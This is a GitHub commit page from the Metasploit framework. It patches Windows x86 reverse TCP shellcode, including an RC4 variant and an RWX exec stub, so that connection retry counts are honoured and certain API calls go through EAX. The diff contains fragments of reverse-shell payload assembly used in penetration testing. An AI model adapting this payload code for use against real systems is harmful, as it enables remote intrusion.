Skip to content

Commit 6fe8691

Browse files
committed
Fix rapid7#9090, honoring retry counts for x86/64 payloads
Fix rapid7#9090
1 parent 0f656d6 commit 6fe8691

File tree

3 files changed

+8
-5
lines changed

3 files changed

+8
-5
lines changed

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -125,7 +125,8 @@ def asm_reverse_tcp(opts={})
125125
push 'ws2_' ; ...
126126
push esp ; Push a pointer to the "ws2_32" string on the stack.
127127
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
128-
call ebp ; LoadLibraryA( "ws2_32" )
128+
mov eax, ebp
129+
call eax ; LoadLibraryA( "ws2_32" )
129130
130131
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
131132
sub esp, eax ; alloc some space for the WSAData structure
@@ -298,7 +299,8 @@ def asm_block_recv(opts={})
298299
dec [esp] ; decrement the counter
299300
300301
; try again
301-
jmp create_socket
302+
jnz create_socket
303+
jmp failure
302304
^
303305
end
304306

lib/msf/core/payload/windows/reverse_tcp_rc4.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -142,7 +142,8 @@ def asm_block_recv_rc4(opts={})
142142
dec [esp] ; decrement the counter
143143
144144
; try again
145-
jmp create_socket
145+
jnz create_socket
146+
jmp failure
146147
^
147148
end
148149

lib/msf/util/exe.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1633,7 +1633,6 @@ def self.generate_nops(framework, arch, len, opts = {})
16331633
# target code there, setting an exception handler that calls ExitProcess
16341634
# and finally executing the code.
16351635
def self.win32_rwx_exec(code)
1636-
16371636
stub_block = %Q^
16381637
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
16391638
; Output: The return value from the API call will be in EAX.
@@ -1741,7 +1740,8 @@ def self.win32_rwx_exec(code)
17411740
exitfunk:
17421741
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
17431742
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
1744-
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
1743+
mov eax, ebp
1744+
call eax ; GetVersion(); (AL will = major version and AH will = minor version)
17451745
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
17461746
jl goodbye ; Then just call the exit function...
17471747
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...

0 commit comments

Comments
 (0)